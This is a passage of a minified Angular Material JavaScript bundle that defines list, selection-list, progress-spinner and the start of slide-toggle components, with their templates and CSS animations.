t;return _(this,n),(t=e.apply(this,arguments))._stateChanges=new u.xQ,t}return y(n,[{key:"ngOnChanges",value:function(){this._stateChanges.next()}},{key:"ngOnDestroy",value:function(){this._stateChanges.complete()}}]),n}(O)).\u0275fac=function(t){return(E||(E=o.n5z(A)))(t||A)},A.\u0275cmp=o.Xpm({type:A,selectors:[["mat-nav-list"]],hostAttrs:["role","navigation",1,"mat-nav-list","mat-list-base"],inputs:{disableRipple:"disableRipple",disabled:"disabled"},exportAs:["matNavList"],features:[o._Bn([{provide:N,useExisting:A}]),o.qOj,o.TTD],ngContentSelectors:b,decls:1,vars:0,template:function(t,e){1&t&&(o.F$t(),o.Hsn(0))},styles:[k],encapsulation:2,changeDetection:0}),A),L=function(){var t=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this))._elementRef=t,i._stateChanges=new u.xQ,"action-list"===i._getListType()&&t.nativeElement.classList.add("mat-action-list"),i}return y(n,[{key:"_getListType",value:function(){var t=this._elementRef.nativeElement.nodeName.toLowerCase();return"mat-list"===t?"list":"mat-action-list"===t?"action-list":null}},{key:"ngOnChanges",value:function(){this._stateChanges.next()}},{key:"ngOnDestroy",value:function(){this._stateChanges.complete()}}]),n}(O);return t.\u0275fac=function(e){return new(e||t)(o.Y36(o.SBq))},t.\u0275cmp=o.Xpm({type:t,selectors:[["mat-list"],["mat-action-list"]],hostAttrs:[1,"mat-list","mat-list-base"],inputs:{disableRipple:"disableRipple",disabled:"disabled"},exportAs:["matList"],features:[o._Bn([{provide:P,useExisting:t}]),o.qOj,o.TTD],ngContentSelectors:b,decls:1,vars:0,template:function(t,e){1&t&&(o.F$t(),o.Hsn(0))},styles:[k],encapsulation:2,changeDetection:0}),t}(),M=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=o.lG2({type:t,selectors:[["","mat-list-avatar",""],["","matListAvatar",""]],hostAttrs:[1,"mat-list-avatar"]}),t}(),F=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=o.lG2({type:t,selectors:[["","mat-list-icon",""],["","matListIcon",""]],hostAttrs:[1,"mat-list-icon"]}),t}(),U=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,o){var a;_(this,n),(a=e.call(this))._element=t,a._isInteractiveList=!1,a._destroyed=new u.xQ,a._disabled=!1,a._isInteractiveList=!!(r||o&&"action-list"===o._getListType()),a._list=r||o;var s=a._getHostElement();return"button"===s.nodeName.toLowerCase()&&!s.hasAttribute("type")&&s.setAttribute("type","button"),a._list&&a._list._stateChanges.pipe((0,c.R)(a._destroyed)).subscribe(function(){i.markForCheck()}),a}return y(n,[{key:"disabled",get:function(){return this._disabled||!(!this._list||!this._list.disabled)},set:function(t){this._disabled=(0,s.Ig)(t)}},{key:"ngAfterContentInit",value:function(){(0,a.E0)(this._lines,this._element)}},{key:"ngOnDestroy",value:function(){this._destroyed.next(),this._destroyed.complete()}},{key:"_isRippleDisabled",value:function(){return!this._isInteractiveList||this.disableRipple||!(!this._list||!this._list.disableRipple)}},{key:"_getHostElement",value:function(){return this._element.nativeElement}}]),n}(R);return t.\u0275fac=function(e){return new(e||t)(o.Y36(o.SBq),o.Y36(o.sBO),o.Y36(N,8),o.Y36(P,8))},t.\u0275cmp=o.Xpm({type:t,selectors:[["mat-list-item"],["a","mat-list-item",""],["button","mat-list-item",""]],contentQueries:function(t,e,n){var i;(1&t&&(o.Suo(n,M,5),o.Suo(n,F,5),o.Suo(n,a.X2,5)),2&t)&&(o.iGM(i=o.CRH())&&(e._avatar=i.first),o.iGM(i=o.CRH())&&(e._icon=i.first),o.iGM(i=o.CRH())&&(e._lines=i))},hostAttrs:[1,"mat-list-item","mat-focus-indicator"],hostVars:6,hostBindings:function(t,e){2&t&&o.ekj("mat-list-item-disabled",e.disabled)("mat-list-item-avatar",e._avatar||e._icon)("mat-list-item-with-avatar",e._avatar||e._icon)},inputs:{disableRipple:"disableRipple",disabled:"disabled"},exportAs:["matListItem"],features:[o.qOj],ngContentSelectors:C,decls:6,vars:2,consts:[[1,"mat-list-item-content"],["mat-ripple","",1,"mat-list-item-ripple",3,"matRippleTrigger","matRippleDisabled"],[1,"mat-list-text"]],template:function(t,e){1&t&&(o.F$t(w),o.TgZ(0,"div",0),o._UZ(1,"div",1),o.Hsn(2),o.TgZ(3,"div",2),o.Hsn(4,1),o.qZA(),o.Hsn(5,2),o.qZA()),2&t&&(o.xp6(1),o.Q6J("matRippleTrigger",e._getHostElement())("matRippleDisabled",e._isRippleDisabled()))},directives:[a.wG],encapsulation:2,changeDetection:0}),t}(),B=(0,a.Kr)(function(){return function t(){_(this,t)}}()),j=(0,a.Kr)(function(){return function t(){_(this,t)}}()),H={provide:m.JU,useExisting:(0,o.Gpc)(function(){return Y}),multi:!0},V=function t(e,n,i){_(this,t),this.source=e,this.option=n,this.options=i},G=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r){var a;return _(this,n),(a=e.call(this))._element=t,a._changeDetector=i,a.selectionList=r,a._selected=!1,a._disabled=!1,a._hasFocus=!1,a.selectedChange=new o.vpe,a.checkboxPosition="after",a._inputsInitialized=!1,a}return y(n,[{key:"color",get:function(){return this._color||this.selectionList.color},set:function(t){this._color=t}},{key:"value",get:function(){return this._value},set:function(t){this.selected&&!this.selectionList.compareWith(t,this.value)&&this._inputsInitialized&&(this.selected=!1),this._value=t}},{key:"disabled",get:function(){return this._disabled||this.selectionList&&this.selectionList.disabled},set:function(t){var e=(0,s.Ig)(t);e!==this._disabled&&(this._disabled=e,this._changeDetector.markForCheck())}},{key:"selected",get:function(){return this.selectionList.selectedOptions.isSelected(this)},set:function(t){var e=(0,s.Ig)(t);e!==this._selected&&(this._setSelected(e),(e||this.selectionList.multiple)&&this.selectionList._reportValueChange())}},{key:"ngOnInit",value:function(){var t=this,e=this.selectionList;e._value&&e._value.some(function(n){return e.compareWith(n,t._value)})&&this._setSelected(!0);var n=this._selected;Promise.resolve().then(function(){(t._selected||n)&&(t.selected=!0,t._changeDetector.markForCheck())}),this._inputsInitialized=!0}},{key:"ngAfterContentInit",value:function(){(0,a.E0)(this._lines,this._element)}},{key:"ngOnDestroy",value:function(){var t=this;this.selected&&Promise.resolve().then(function(){t.selected=!1});var e=this._hasFocus,n=this.selectionList._removeOptionFromList(this);e&&n&&n.focus()}},{key:"toggle",value:function(){this.selected=!this.selected}},{key:"focus",value:function(){this._element.nativeElement.focus()}},{key:"getLabel",value:function(){return this._text&&this._text.nativeElement.textContent||""}},{key:"_isRippleDisabled",value:function(){return this.disabled||this.disableRipple||this.selectionList.disableRipple}},{key:"_handleClick",value:function(){!this.disabled&&(this.selectionList.multiple||!this.selected)&&(this.toggle(),this.selectionList._emitChangeEvent([this]))}},{key:"_handleFocus",value:function(){this.selectionList._setFocusedOption(this),this._hasFocus=!0}},{key:"_handleBlur",value:function(){this.selectionList._onTouched(),this._hasFocus=!1}},{key:"_getHostElement",value:function(){return this._element.nativeElement}},{key:"_setSelected",value:function(t){return t!==this._selected&&(this._selected=t,t?this.selectionList.selectedOptions.select(this):this.selectionList.selectedOptions.deselect(this),this.selectedChange.emit(t),this._changeDetector.markForCheck(),!0)}},{key:"_markForCheck",value:function(){this._changeDetector.markForCheck()}}]),n}(j);return t.\u0275fac=function(e){return new(e||t)(o.Y36(o.SBq),o.Y36(o.sBO),o.Y36((0,o.Gpc)(function(){return Y})))},t.\u0275cmp=o.Xpm({type:t,selectors:[["mat-list-option"]],contentQueries:function(t,e,n){var i;(1&t&&(o.Suo(n,M,5),o.Suo(n,F,5),o.Suo(n,a.X2,5)),2&t)&&(o.iGM(i=o.CRH())&&(e._avatar=i.first),o.iGM(i=o.CRH())&&(e._icon=i.first),o.iGM(i=o.CRH())&&(e._lines=i))},viewQuery:function(t,e){var n;(1&t&&o.Gf(x,5),2&t)&&(o.iGM(n=o.CRH())&&(e._text=n.first))},hostAttrs:["role","option",1,"mat-list-item","mat-list-option","mat-focus-indicator"],hostVars:15,hostBindings:function(t,e){1&t&&o.NdJ("focus",function(){return e._handleFocus()})("blur",function(){return e._handleBlur()})("click",function(){return e._handleClick()}),2&t&&(o.uIk("aria-selected",e.selected)("aria-disabled",e.disabled)("tabindex",-1),o.ekj("mat-list-item-disabled",e.disabled)("mat-list-item-with-avatar",e._avatar||e._icon)("mat-primary","primary"===e.color)("mat-accent","primary"!==e.color&&"warn"!==e.color)("mat-warn","warn"===e.color)("mat-list-single-selected-option",e.selected&&!e.selectionList.multiple))},inputs:{disableRipple:"disableRipple",checkboxPosition:"checkboxPosition",color:"color",value:"value",selected:"selected",disabled:"disabled"},outputs:{selectedChange:"selectedChange"},exportAs:["matListOption"],features:[o.qOj],ngContentSelectors:I,decls:7,vars:5,consts:[[1,"mat-list-item-content"],["mat-ripple","",1,"mat-list-item-ripple",3,"matRippleTrigger","matRippleDisabled"],[3,"state","disabled",4,"ngIf"],[1,"mat-list-text"],["text",""],[3,"state","disabled"]],template:function(t,e){1&t&&(o.F$t(T),o.TgZ(0,"div",0),o._UZ(1,"div",1),o.YNc(2,S,1,2,"mat-pseudo-checkbox",2),o.TgZ(3,"div",3,4),o.Hsn(5),o.qZA(),o.Hsn(6,1),o.qZA()),2&t&&(o.ekj("mat-list-item-content-reverse","after"==e.checkboxPosition),o.xp6(1),o.Q6J("matRippleTrigger",e._getHostElement())("matRippleDisabled",e._isRippleDisabled()),o.xp6(1),o.Q6J("ngIf",e.selectionList.multiple))},directives:[a.wG,i.O5,a.nP],encapsulation:2,changeDetection:0}),t}(),Y=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,a){var s;return _(this,n),(s=e.call(this))._element=t,s._changeDetector=r,s._focusMonitor=a,s._multiple=!0,s._contentInitialized=!1,s.selectionChange=new o.vpe,s.tabIndex=0,s.color="accent",s.compareWith=function(t,e){return t===e},s._disabled=!1,s.selectedOptions=new p.Ov(s._multiple),s._tabIndex=-1,s._onChange=function(t){},s._destroyed=new u.xQ,s._onTouched=function(){},s}return y(n,[{key:"disabled",get:function(){return this._disabled},set:function(t){this._disabled=(0,s.Ig)(t),this._markOptionsForCheck()}},{key:"multiple",get:function(){return this._multiple},set:function(t){var e=(0,s.Ig)(t);e!==this._multiple&&(this._multiple=e,this.selectedOptions=new p.Ov(this._multiple,this.selectedOptions.selected))}},{key:"ngAfterContentInit",value:function(){var t,e=this;this._contentInitialized=!0,this._keyManager=new d.Em(this.options).withWrap().withTypeAhead().withHomeAndEnd().skipPredicate(function(){return!1}).withAllowedModifierKeys(["shiftKey"]),this._value&&this._setOptionsFromValues(this._value),this._keyManager.tabOut.pipe((0,c.R)(this._destroyed)).subscribe(function(){e._allowFocusEscape()}),this.options.changes.pipe((0,h.O)(null),(0,c.R)(this._destroyed)).subscribe(function(){e._updateTabIndex()}),this.selectedOptions.changed.pipe((0,c.R)(this._destroyed)).subscribe(function(t){if(t.added){var e,n=r(t.added);try{for(n.s();!(e=n.n()).done;){e.value.selected=!0}}catch(a){n.e(a)}finally{n.f()}}if(t.removed){var i,o=r(t.removed);try{for(o.s();!(i=o.n()).done;){i.value.selected=!1}}catch(a){o.e(a)}finally{o.f()}}}),null===(t=this._focusMonitor)||void 0===t||t.monitor(this._element).pipe((0,c.R)(this._destroyed)).subscribe(function(t){var n;if("keyboard"===t||"program"===t){for(var i=0,r=0;r<e.options.length;r++)if(null===(n=e.options.get(r))||void 0===n?void 0:n.selected){i=r;break}e._keyManager.setActiveItem(i)}})}},{key:"ngOnChanges",value:function(t){var e=t.disableRipple,n=t.color;(e&&!e.firstChange||n&&!n.firstChange)&&this._markOptionsForCheck()}},{key:"ngOnDestroy",value:function(){var t;null===(t=this._focusMonitor)||void 0===t||t.stopMonitoring(this._element),this._destroyed.next(),this._destroyed.complete(),this._isDestroyed=!0}},{key:"focus",value:function(t){this._element.nativeElement.focus(t)}},{key:"selectAll",value:function(){return this._setAllOptionsSelected(!0)}},{key:"deselectAll",value:function(){return this._setAllOptionsSelected(!1)}},{key:"_setFocusedOption",value:function(t){this._keyManager.updateActiveItem(t)}},{key:"_removeOptionFromList",value:function(t){var e=this._getOptionIndex(t);return e>-1&&this._keyManager.activeItemIndex===e&&(e>0?this._keyManager.updateActiveItem(e-1):0===e&&this.options.length>1&&this._keyManager.updateActiveItem(Math.min(e+1,this.options.length-1))),this._keyManager.activeItem}},{key:"_keydown",value:function(t){var e=t.keyCode,n=this._keyManager,i=n.activeItemIndex,r=(0,v.Vb)(t);switch(e){case v.L_:case v.K5:!r&&!n.isTyping()&&(this._toggleFocusedOption(),t.preventDefault());break;default:if(e===v.A&&this.multiple&&(0,v.Vb)(t,"ctrlKey")&&!n.isTyping()){var o=this.options.some(function(t){return!t.disabled&&!t.selected});this._setAllOptionsSelected(o,!0,!0),t.preventDefault()}else n.onKeydown(t)}this.multiple&&(e===v.LH||e===v.JH)&&t.shiftKey&&n.activeItemIndex!==i&&this._toggleFocusedOption()}},{key:"_reportValueChange",value:function(){if(this.options&&!this._isDestroyed){var t=this._getSelectedOptionValues();this._onChange(t),this._value=t}}},{key:"_emitChangeEvent",value:function(t){this.selectionChange.emit(new V(this,t[0],t))}},{key:"writeValue",value:function(t){this._value=t,this.options&&this._setOptionsFromValues(t||[])}},{key:"setDisabledState",value:function(t){this.disabled=t}},{key:"registerOnChange",value:function(t){this._onChange=t}},{key:"registerOnTouched",value:function(t){this._onTouched=t}},{key:"_setOptionsFromValues",value:function(t){var e=this;this.options.forEach(function(t){return t._setSelected(!1)}),t.forEach(function(t){var n=e.options.find(function(n){return!n.selected&&e.compareWith(n.value,t)});n&&n._setSelected(!0)})}},{key:"_getSelectedOptionValues",value:function(){return this.options.filter(function(t){return t.selected}).map(function(t){return t.value})}},{key:"_toggleFocusedOption",value:function(){var t=this._keyManager.activeItemIndex;if(null!=t&&this._isValidIndex(t)){var e=this.options.toArray()[t];e&&!e.disabled&&(this._multiple||!e.selected)&&(e.toggle(),this._emitChangeEvent([e]))}}},{key:"_setAllOptionsSelected",value:function(t,e,n){var i=[];return this.options.forEach(function(n){(!e||!n.disabled)&&n._setSelected(t)&&i.push(n)}),i.length&&(this._reportValueChange(),n&&this._emitChangeEvent(i)),i}},{key:"_isValidIndex",value:function(t){return t>=0&&t<this.options.length}},{key:"_getOptionIndex",value:function(t){return this.options.toArray().indexOf(t)}},{key:"_markOptionsForCheck",value:function(){this.options&&this.options.forEach(function(t){return t._markForCheck()})}},{key:"_allowFocusEscape",value:function(){var t=this;this._tabIndex=-1,setTimeout(function(){t._tabIndex=0,t._changeDetector.markForCheck()})}},{key:"_updateTabIndex",value:function(){this._tabIndex=0===this.options.length?-1:0}}]),n}(B);return t.\u0275fac=function(e){return new(e||t)(o.Y36(o.SBq),o.$8M("tabindex"),o.Y36(o.sBO),o.Y36(d.tE))},t.\u0275cmp=o.Xpm({type:t,selectors:[["mat-selection-list"]],contentQueries:function(t,e,n){var i;(1&t&&o.Suo(n,G,5),2&t)&&(o.iGM(i=o.CRH())&&(e.options=i))},hostAttrs:["role","listbox",1,"mat-selection-list","mat-list-base"],hostVars:3,hostBindings:function(t,e){1&t&&o.NdJ("keydown",function(t){return e._keydown(t)}),2&t&&o.uIk("aria-multiselectable",e.multiple)("aria-disabled",e.disabled.toString())("tabindex",e._tabIndex)},inputs:{disableRipple:"disableRipple",tabIndex:"tabIndex",color:"color",compareWith:"compareWith",disabled:"disabled",multiple:"multiple"},outputs:{selectionChange:"selectionChange"},exportAs:["matSelectionList"],features:[o._Bn([H]),o.qOj,o.TTD],ngContentSelectors:b,decls:1,vars:0,template:function(t,e){1&t&&(o.F$t(),o.Hsn(0))},styles:[k],encapsulation:2,changeDetection:0}),t}(),q=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=o.oAB({type:t}),t.\u0275inj=o.cJS({imports:[[a.uc,a.si,a.BQ,a.us,i.ez],a.uc,a.BQ,a.us,g.t]}),t}()},80181:function(t,e,n){"use strict";n.d(e,{Cq:function(){return C},$g:function(){return w}});var i=n(2316),r=n(54364),o=n(24298),a=n(20657),s=n(36145),u=n(71918);function c(t,e){if(1&t&&(i.O4$(),i._UZ(0,"circle",3)),2&t){var n=i.oxw();i.Udp("animation-name","mat-progress-spinner-stroke-rotate-"+n._spinnerAnimationLabel)("stroke-dashoffset",n._getStrokeDashOffset(),"px")("stroke-dasharray",n._getStrokeCircumference(),"px")("stroke-width",n._getCircleStrokeWidth(),"%"),i.uIk("r",n._getCircleRadius())}}function h(t,e){if(1&t&&(i.O4$(),i._UZ(0,"circle",3)),2&t){var n=i.oxw();i.Udp("stroke-dashoffset",n._getStrokeDashOffset(),"px")("stroke-dasharray",n._getStrokeCircumference(),"px")("stroke-width",n._getCircleStrokeWidth(),"%"),i.uIk("r",n._getCircleRadius())}}function d(t,e){if(1&t&&(i.O4$(),i._UZ(0,"circle",3)),2&t){var n=i.oxw();i.Udp("animation-name","mat-progress-spinner-stroke-rotate-"+n._spinnerAnimationLabel)("stroke-dashoffset",n._getStrokeDashOffset(),"px")("stroke-dasharray",n._getStrokeCircumference(),"px")("stroke-width",n._getCircleStrokeWidth(),"%"),i.uIk("r",n._getCircleRadius())}}function p(t,e){if(1&t&&(i.O4$(),i._UZ(0,"circle",3)),2&t){var n=i.oxw();i.Udp("stroke-dashoffset",n._getStrokeDashOffset(),"px")("stroke-dasharray",n._getStrokeCircumference(),"px")("stroke-width",n._getCircleStrokeWidth(),"%"),i.uIk("r",n._getCircleRadius())}}var v=".mat-progress-spinner{display:block;position:relative;overflow:hidden}.mat-progress-spinner svg{position:absolute;transform:rotate(-90deg);top:0;left:0;transform-origin:center;overflow:visible}.mat-progress-spinner circle{fill:transparent;transform-origin:center;transition:stroke-dashoffset 225ms linear}._mat-animation-noopable.mat-progress-spinner circle{transition:none;animation:none}.cdk-high-contrast-active .mat-progress-spinner circle{stroke:currentColor;stroke:CanvasText}.mat-progress-spinner.mat-progress-spinner-indeterminate-animation[mode=indeterminate] svg{animation:mat-progress-spinner-linear-rotate 2000ms linear infinite}._mat-animation-noopable.mat-progress-spinner.mat-progress-spinner-indeterminate-animation[mode=indeterminate] svg{transition:none;animation:none}.mat-progress-spinner.mat-progress-spinner-indeterminate-animation[mode=indeterminate] circle{transition-property:stroke;animation-duration:4000ms;animation-timing-function:cubic-bezier(0.35, 0, 0.25, 1);animation-iteration-count:infinite}._mat-animation-noopable.mat-progress-spinner.mat-progress-spinner-indeterminate-animation[mode=indeterminate] circle{transition:none;animation:none}.mat-progress-spinner.mat-progress-spinner-indeterminate-fallback-animation[mode=indeterminate] svg{animation:mat-progress-spinner-stroke-rotate-fallback 10000ms cubic-bezier(0.87, 0.03, 0.33, 1) infinite}._mat-animation-noopable.mat-progress-spinner.mat-progress-spinner-indeterminate-fallback-animation[mode=indeterminate] svg{transition:none;animation:none}.mat-progress-spinner.mat-progress-spinner-indeterminate-fallback-animation[mode=indeterminate] circle{transition-property:stroke}._mat-animation-noopable.mat-progress-spinner.mat-progress-spinner-indeterminate-fallback-animation[mode=indeterminate] circle{transition:none;animation:none}@keyframes mat-progress-spinner-linear-rotate{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes mat-progress-spinner-stroke-rotate-100{0%{stroke-dashoffset:268.606171575px;transform:rotate(0)}12.5%{stroke-dashoffset:56.5486677px;transform:rotate(0)}12.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(72.5deg)}25%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(72.5deg)}25.0001%{stroke-dashoffset:268.606171575px;transform:rotate(270deg)}37.5%{stroke-dashoffset:56.5486677px;transform:rotate(270deg)}37.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(161.5deg)}50%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(161.5deg)}50.0001%{stroke-dashoffset:268.606171575px;transform:rotate(180deg)}62.5%{stroke-dashoffset:56.5486677px;transform:rotate(180deg)}62.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(251.5deg)}75%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(251.5deg)}75.0001%{stroke-dashoffset:268.606171575px;transform:rotate(90deg)}87.5%{stroke-dashoffset:56.5486677px;transform:rotate(90deg)}87.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(341.5deg)}100%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(341.5deg)}}@keyframes mat-progress-spinner-stroke-rotate-fallback{0%{transform:rotate(0deg)}25%{transform:rotate(1170deg)}50%{transform:rotate(2340deg)}75%{transform:rotate(3510deg)}100%{transform:rotate(4680deg)}}\n",m=(0,o.pj)(function(){return function t(e){_(this,t),this._elementRef=e}}(),"primary"),g=new i.OlP("mat-progress-spinner-default-options",{providedIn:"root",factory:function(){return{diameter:100}}}),b=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a){var s;_(this,n),(s=e.call(this,t))._document=r,s._diameter=100,s._value=0,s._fallbackAnimation=!1,s.mode="determinate";var u=n._diameters;return s._spinnerAnimationLabel=s._getSpinnerAnimationLabel(),u.has(r.head)||u.set(r.head,new Set([100])),s._fallbackAnimation=i.EDGE||i.TRIDENT,s._noopAnimations="NoopAnimations"===o&&!!a&&!a._forceAnimations,a&&(a.diameter&&(s.diameter=a.diameter),a.strokeWidth&&(s.strokeWidth=a.strokeWidth)),s}return y(n,[{key:"diameter",get:function(){return this._diameter},set:function(t){this._diameter=(0,a.su)(t),this._spinnerAnimationLabel=this._getSpinnerAnimationLabel(),!this._fallbackAnimation&&this._styleRoot&&this._attachStyleNode()}},{key:"strokeWidth",get:function(){return this._strokeWidth||this.diameter/10},set:function(t){this._strokeWidth=(0,a.su)(t)}},{key:"value",get:function(){return"determinate"===this.mode?this._value:0},set:function(t){this._value=Math.max(0,Math.min(100,(0,a.su)(t)))}},{key:"ngOnInit",value:function(){var t=this._elementRef.nativeElement;this._styleRoot=(0,s.kV)(t)||this._document.head,this._attachStyleNode(),t.classList.add("mat-progress-spinner-indeterminate".concat(this._fallbackAnimation?"-fallback":"","-animation"))}},{key:"_getCircleRadius",value:function(){return(this.diameter-10)/2}},{key:"_getViewBox",value:function(){var t=2*this._getCircleRadius()+this.strokeWidth;return"0 0 ".concat(t," ").concat(t)}},{key:"_getStrokeCircumference",value:function(){return 2*Math.PI*this._getCircleRadius()}},{key:"_getStrokeDashOffset",value:function(){return"determinate"===this.mode?this._getStrokeCircumference()*(100-this._value)/100:this._fallbackAnimation&&"indeterminate"===this.mode?.2*this._getStrokeCircumference():null}},{key:"_getCircleStrokeWidth",value:function(){return this.strokeWidth/this.diameter*100}},{key:"_attachStyleNode",value:function(){var t=this._styleRoot,e=this._diameter,i=n._diameters,r=i.get(t);if(!r||!r.has(e)){var o=this._document.createElement("style");o.setAttribute("mat-spinner-animation",this._spinnerAnimationLabel),o.textContent=this._getAnimationText(),t.appendChild(o),r||(r=new Set,i.set(t,r)),r.add(e)}}},{key:"_getAnimationText",value:function(){var t=this._getStrokeCircumference();return"\n @keyframes mat-progress-spinner-stroke-rotate-DIAMETER {\n 0% { stroke-dashoffset: START_VALUE; transform: rotate(0); }\n 12.5% { stroke-dashoffset: END_VALUE; transform: rotate(0); }\n 12.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(72.5deg); }\n 25% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(72.5deg); }\n\n 25.0001% { stroke-dashoffset: START_VALUE; transform: rotate(270deg); }\n 37.5% { stroke-dashoffset: END_VALUE; transform: rotate(270deg); }\n 37.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(161.5deg); }\n 50% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(161.5deg); }\n\n 50.0001% { stroke-dashoffset: START_VALUE; transform: rotate(180deg); }\n 62.5% { stroke-dashoffset: END_VALUE; transform: rotate(180deg); }\n 62.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(251.5deg); }\n 75% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(251.5deg); }\n\n 75.0001% { stroke-dashoffset: START_VALUE; transform: rotate(90deg); }\n 87.5% { stroke-dashoffset: END_VALUE; transform: rotate(90deg); }\n 87.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(341.5deg); }\n 100% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(341.5deg); }\n }\n".replace(/START_VALUE/g,""+.95*t).replace(/END_VALUE/g,""+.2*t).replace(/DIAMETER/g,"".concat(this._spinnerAnimationLabel))}},{key:"_getSpinnerAnimationLabel",value:function(){return this.diameter.toString().replace(".","_")}}]),n}(m);b.\u0275fac=function(t){return new(t||b)(i.Y36(i.SBq),i.Y36(s.t4),i.Y36(r.K0,8),i.Y36(u.Qb,8),i.Y36(g))},b.\u0275cmp=i.Xpm({type:b,selectors:[["mat-progress-spinner"]],hostAttrs:["role","progressbar","tabindex","-1",1,"mat-progress-spinner"],hostVars:10,hostBindings:function(t,e){2&t&&(i.uIk("aria-valuemin","determinate"===e.mode?0:null)("aria-valuemax","determinate"===e.mode?100:null)("aria-valuenow","determinate"===e.mode?e.value:null)("mode",e.mode),i.Udp("width",e.diameter,"px")("height",e.diameter,"px"),i.ekj("_mat-animation-noopable",e._noopAnimations))},inputs:{color:"color",mode:"mode",diameter:"diameter",strokeWidth:"strokeWidth",value:"value"},exportAs:["matProgressSpinner"],features:[i.qOj],decls:3,vars:8,consts:[["preserveAspectRatio","xMidYMid meet","focusable","false","aria-hidden","true",3,"ngSwitch"],["cx","50%","cy","50%",3,"animation-name","stroke-dashoffset","stroke-dasharray","stroke-width",4,"ngSwitchCase"],["cx","50%","cy","50%",3,"stroke-dashoffset","stroke-dasharray","stroke-width",4,"ngSwitchCase"],["cx","50%","cy","50%"]],template:function(t,e){1&t&&(i.O4$(),i.TgZ(0,"svg",0),i.YNc(1,c,1,9,"circle",1),i.YNc(2,h,1,7,"circle",2),i.qZA()),2&t&&(i.Udp("width",e.diameter,"px")("height",e.diameter,"px"),i.Q6J("ngSwitch","indeterminate"===e.mode),i.uIk("viewBox",e._getViewBox()),i.xp6(1),i.Q6J("ngSwitchCase",!0),i.xp6(1),i.Q6J("ngSwitchCase",!1))},directives:[r.RF,r.n9],styles:[v],encapsulation:2,changeDetection:0}),b._diameters=new WeakMap;var k,w=((k=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a){var s;return _(this,n),(s=e.call(this,t,i,r,o,a)).mode="indeterminate",s}return n}(b)).\u0275fac=function(t){return new(t||k)(i.Y36(i.SBq),i.Y36(s.t4),i.Y36(r.K0,8),i.Y36(u.Qb,8),i.Y36(g))},k.\u0275cmp=i.Xpm({type:k,selectors:[["mat-spinner"]],hostAttrs:["role","progressbar","mode","indeterminate",1,"mat-spinner","mat-progress-spinner"],hostVars:6,hostBindings:function(t,e){2&t&&(i.Udp("width",e.diameter,"px")("height",e.diameter,"px"),i.ekj("_mat-animation-noopable",e._noopAnimations))},inputs:{color:"color"},features:[i.qOj],decls:3,vars:8,consts:[["preserveAspectRatio","xMidYMid meet","focusable","false","aria-hidden","true",3,"ngSwitch"],["cx","50%","cy","50%",3,"animation-name","stroke-dashoffset","stroke-dasharray","stroke-width",4,"ngSwitchCase"],["cx","50%","cy","50%",3,"stroke-dashoffset","stroke-dasharray","stroke-width",4,"ngSwitchCase"],["cx","50%","cy","50%"]],template:function(t,e){1&t&&(i.O4$(),i.TgZ(0,"svg",0),i.YNc(1,d,1,9,"circle",1),i.YNc(2,p,1,7,"circle",2),i.qZA()),2&t&&(i.Udp("width",e.diameter,"px")("height",e.diameter,"px"),i.Q6J("ngSwitch","indeterminate"===e.mode),i.uIk("viewBox",e._getViewBox()),i.xp6(1),i.Q6J("ngSwitchCase",!0),i.xp6(1),i.Q6J("ngSwitchCase",!1))},directives:[r.RF,r.n9],styles:[v],encapsulation:2,changeDetection:0}),k),C=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[o.BQ,r.ez],o.BQ]}),t}()},32080:function(t,e,n){"use strict";n.d(e,{Rr:function(){return S},rP:function(){return A}});var i,r=n(90851),o=n(2316),a=n(24298),s=n(20657),u=n(1707),c=n(71918),h=n(51606),d=["thumbContainer"],p=["toggleBar"],v=["input"],m=function(t){return{enterDuration:t}},g=["*"],b=new o.OlP("mat-slide-toggle-default-options",{providedIn:"root",factory:function(){return{disableToggleValue:!1}}}),k=0,w={provide:u.JU,useExisting:(0,o.Gpc)(function(){return S}),multi:!0},C=function t(e,n){_(this,t),this.source=e,this.checked=n},x=(0,a.sb)((0,a.pj)((0,a.Kr)((0,a.Id)(function(){return function t(e){_(this,t),this._elementRef=e}}())))),S=((i=function(t){l(n,t);var e=f(n);function n(t,i,r,a,s,u){var c;return _(this,n),(c=e.call(this,t))._focusMonitor=i,c._changeDetectorRef=r,c.defaults=s,c._onChange=function(t){},c._onTouched=function(){},c._uniqueId="mat-slide-toggle-"+ ++k,c._required=!1,c._checked=!1,c.name=null,c.id=c._uniqueId,c.labelPosition="after",c.ariaLabel=null,c.ariaLabelledby=null,c.change=new o.vpe,c.toggleChange=new o.vpe,c.tabIndex=parseInt(a)||0,c.color=c.defaultColor=s.color||"accent",c._noopAnimations="NoopAnimations"===u,c}return y(n,[{key:"required",get:function(){return this._required},set:function(t){this._required=(0,s.Ig)(t)}},{key:"checked",get:function(){return 